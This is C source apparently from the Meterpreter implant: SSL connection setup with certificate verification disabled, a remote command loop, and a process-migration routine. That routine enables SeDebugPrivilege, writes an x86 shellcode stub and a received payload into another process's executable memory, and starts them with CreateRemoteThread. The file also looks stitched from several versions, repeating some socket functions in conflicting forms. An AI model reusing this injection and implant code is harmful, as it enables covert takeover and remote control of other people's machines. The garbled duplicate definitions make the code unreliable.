// Flush all pending data on the connected socket before doing SSL
static void flush_socket(Remote *remote) {
fd_set fdread;
DWORD ret;
SOCKET fd;
unsigned char buff[4096];
fd = remote_get_fd(remote);
while (1) {
struct timeval tv;
LONG data;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
// Wait for up to one second for any errant socket data to appear
tv.tv_sec = 1;
tv.tv_usec = 0;
data = select(fd + 1, &fdread, NULL, NULL, &tv);
if(data == 0) break;
ret = recv(fd, buff, sizeof(buff), 0);
dprintf("Flushed %d bytes from the buffer");
continue;
}
}
/*
* Poll a socket for data to recv and block when none available.
*/
static LONG server_socket_poll( Remote * remote, long timeout )
{
struct timeval tv;
LONG result;
fd_set fdread;
SOCKET fd;
lock_acquire( remote->lock );
fd = remote_get_fd( remote );
FD_ZERO( &fdread );
FD_SET( fd, &fdread );
tv.tv_sec = 0;
tv.tv_usec = timeout;
result = select((int)fd + 1, &fdread, NULL, NULL, &tv );
#ifndef _WIN32
// Handle EAGAIN, etc.
if(result == -1) {
if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) {
result = 0;
}
}
#endif
lock_release( remote->lock );
return result;
}
/*
* Negotiate SSL on the socket.
*/
static BOOL server_negotiate_ssl(Remote *remote)
{
BOOL success = TRUE;
SOCKET fd = 0;
DWORD ret = 0;
lock_acquire( remote->lock );
do
{
fd = remote_get_fd(remote);
remote->meth = SSLv3_client_method();
remote->ctx = SSL_CTX_new(remote->meth);
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
remote->ssl = SSL_new(remote->ctx);
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
if( SSL_set_fd(remote->ssl, remote->fd) == 0 )
{
dprintf("[SERVER] set fd failed");
success = FALSE;
break;
}
if( (ret = SSL_connect(remote->ssl)) != 1 )
{
dprintf("[SERVER] connect failed %d\n", SSL_get_error(remote->ssl, ret));
success = FALSE;
break;
}
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
if( (ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0 )
{
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
}
} while(0);
lock_release( remote->lock );
dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret);
if( ret < 0 )
success = FALSE;
return success;
}
/*
* Process console commands in a loop
*
* I would use the scheduler but allowing the file descriptor to drop
* into non-blocking mode makes things annoying.
*/
VOID console_process_commands(Remote *remote)
{
SOCKET fd = remote_get_fd(remote);
struct timeval tv;
fd_set fdread;
LONG r;
console_write_prompt();
// Execute the scheduler in a loop
while (1)
{
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
tv.tv_sec = 0;
tv.tv_usec = 100;
if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0)
{
LONG bytes = 0;
ioctlsocket(fd, FIONREAD, &bytes);
if (bytes == 0)
{
console_write_output(
"\n"
"Connection reset by peer.\n");
break;
}
command_process_remote(remote, NULL);
}
else if (r < 0)
break;
scheduler_run(remote, 0);
}
}
/*
* Negotiate SSL on the socket
*/
static DWORD negotiate_ssl(Remote *remote)
{
DWORD hres = ERROR_SUCCESS;
SOCKET fd = remote_get_fd(remote);
DWORD ret;
SSL_load_error_strings();
SSL_library_init();
remote->meth = TLSv1_client_method();
remote->ctx = SSL_CTX_new(remote->meth);
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
remote->ssl = SSL_new(remote->ctx);
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
if (SSL_set_fd(remote->ssl, remote->fd) == 0) {
perror("set fd failed");
exit(1);
}
if ((ret = SSL_connect(remote->ssl)) != 1) {
printf("connect failed %d\n", SSL_get_error(remote->ssl, ret));
exit(1);
}
dprintf("Sending a HTTP GET request to the remote side...");
if((ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0) {
dprintf("SSL write failed during negotiation with return: %d (%d)", ret,
SSL_get_error(remote->ssl, ret));
}
dprintf("Completed writing the HTTP GET request: %d", ret);
if(ret < 0)
ExitThread(0);
return(0);
}
/*
* Flush all pending data on the connected socket before doing SSL.
*/
static VOID server_socket_flush( Remote * remote )
{
fd_set fdread;
DWORD ret;
SOCKET fd;
char buff[4096];
lock_acquire( remote->lock );
fd = remote_get_fd(remote);
while (1) {
struct timeval tv;
LONG data;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
// Wait for up to one second for any errant socket data to appear
tv.tv_sec = 1;
tv.tv_usec = 0;
data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
if(data == 0)
break;
ret = recv(fd, buff, sizeof(buff), 0);
dprintf("[SERVER] Flushed %d bytes from the buffer", ret);
// The socket closed while we waited
if(ret == 0) {
break;
}
continue;
}
lock_release( remote->lock );
}
/*
* Poll a socket for data to recv and block when none available.
*/
static LONG server_socket_poll( Remote * remote, long timeout )
{
struct timeval tv;
LONG result;
fd_set fdread;
SOCKET fd;
lock_acquire( remote->lock );
fd = remote_get_fd( remote );
FD_ZERO( &fdread );
FD_SET( fd, &fdread );
tv.tv_sec = 0;
tv.tv_usec = timeout;
result = select( fd + 1, &fdread, NULL, NULL, &tv );
lock_release( remote->lock );
return result;
}
/*
* Monitor for requests and local waitable items in the scheduler
*/
static DWORD monitor_loop(Remote *remote)
{
DWORD hres = ERROR_SUCCESS;
SOCKET fd = remote_get_fd(remote);
fd_set fdread;
/*
* Read data locally and remotely
*/
while (1)
{
struct timeval tv;
LONG data;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
tv.tv_sec = 0;
tv.tv_usec = 100;
data = select(fd + 1, &fdread, NULL, NULL, &tv);
if (data > 0)
{
if ((hres = command_process_remote(remote, NULL)) != ERROR_SUCCESS)
break;
}
else if (data < 0)
break;
// Process local scheduler items
scheduler_run(remote, 0);
}
return hres;
}
DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
{
MigrationStubContext context;
TOKEN_PRIVILEGES privs;
HANDLE token = NULL;
Packet *response = packet_create_response(packet);
HANDLE process = NULL;
HANDLE thread = NULL;
HANDLE event = NULL;
LPVOID dataBase;
LPVOID codeBase;
DWORD threadId;
DWORD result = ERROR_SUCCESS;
DWORD pid;
PUCHAR payload;
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
BYTE stub[] =
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
"\x89\xE5" // mov ebp,esp ; create stack frame
"\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
"\x51" // push ecx ; push "ws2_32"
"\xFF\x16" // call near [esi] ; call loadLibrary
"\x54" // push esp ; push stack address
"\x6A\x02" // push byte +0x2 ; push 2
"\xFF\x56\x0C" // call near [esi+0xC] ; call wsaStartup
"\x6A\x00" // push byte +0x0 ; push null
"\x6A\x00" // push byte +0x0 ; push null
"\x8D\x46\x28" // lea eax,[esi+0x28] ; EAX = MigrationStubContext->info
"\x50" // push eax ; push our duplicated socket
"\x6A\x00" // push byte +0x0 ; push null
"\x6A\x02" // push byte +0x2 ; push 2
"\x6A\x01" // push byte +0x1 ; push 1
"\xFF\x56\x10" // call near [esi+0x10] ; call wsaSocket
"\x97" // xchg eax,edi ; edi now = our duplicated socket
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent
"\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase
"\xC3"; // ret ; return into the payload
// Get the process identifier to inject into
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
// Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer...
context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
// Receive the actual migration payload (metsrv.dll + loader)
payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
// Try to enable the debug privilege so that we can migrate into system
// services if we're administrator.
if (OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&token))
{
privs.PrivilegeCount = 1;
privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
&privs.Privileges[0].Luid);
AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL);
CloseHandle(token);
}
do
{
// Open the process so that we can into it
if (!(process = OpenProcess(
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
{
result = GetLastError();
break;
}
// If the socket duplication fails...
if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR)
{
result = WSAGetLastError();
break;
}
// Create a notification event that we'll use to know when
// it's safe to exit (once the socket has been referenced in
// the other process)
if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL)))
{
result = GetLastError();
break;
}
// Duplicate the event handle into the target process
if (!DuplicateHandle(GetCurrentProcess(), event,
process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
result = GetLastError();
break;
}
// Initialize the migration context
context.loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
context.wsaStartup = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup");
context.wsaSocket = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA");
context.recv = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv");
context.setevent = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent");
strcpy(context.ws2_32, "ws2_32");
// Allocate storage for the stub and context
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
result = GetLastError();
break;
}
// Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload...
if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
result = GetLastError();
break;
}
// Initialize the data and code base in the target process
codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext);
if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL))
{
result = GetLastError();
break;
}
if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL))
{
result = GetLastError();
break;
}
if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
{
result = GetLastError();
break;
}
// Send a successful response to let them know that we've pretty much
// successfully migrated and are reaching the point of no return
packet_transmit_response(result, remote, response);
// XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket.
// Shut down our SSL session
// ssl_close_notify(&remote->ssl);
// ssl_free(&remote->ssl);
response = NULL;
// Create the thread in the remote process
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
{
result = GetLastError();
ExitThread(result);
}
// Wait at most 5 seconds for the event to be set letting us know that
// it's finished
if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
{
result = GetLastError();
ExitThread(result);
}
// Exit the current process now that we've migrated to another one
dprintf("Shutting down the Meterpreter thread...");
ExitThread(0);
} while (0);
// If we failed and have not sent the response, do so now
if (result != ERROR_SUCCESS && response)
packet_transmit_response(result, remote, response);
// Cleanup
if (process)
CloseHandle(process);
if (thread)
CloseHandle(thread);
if (event)
CloseHandle(event);
return ERROR_SUCCESS;
}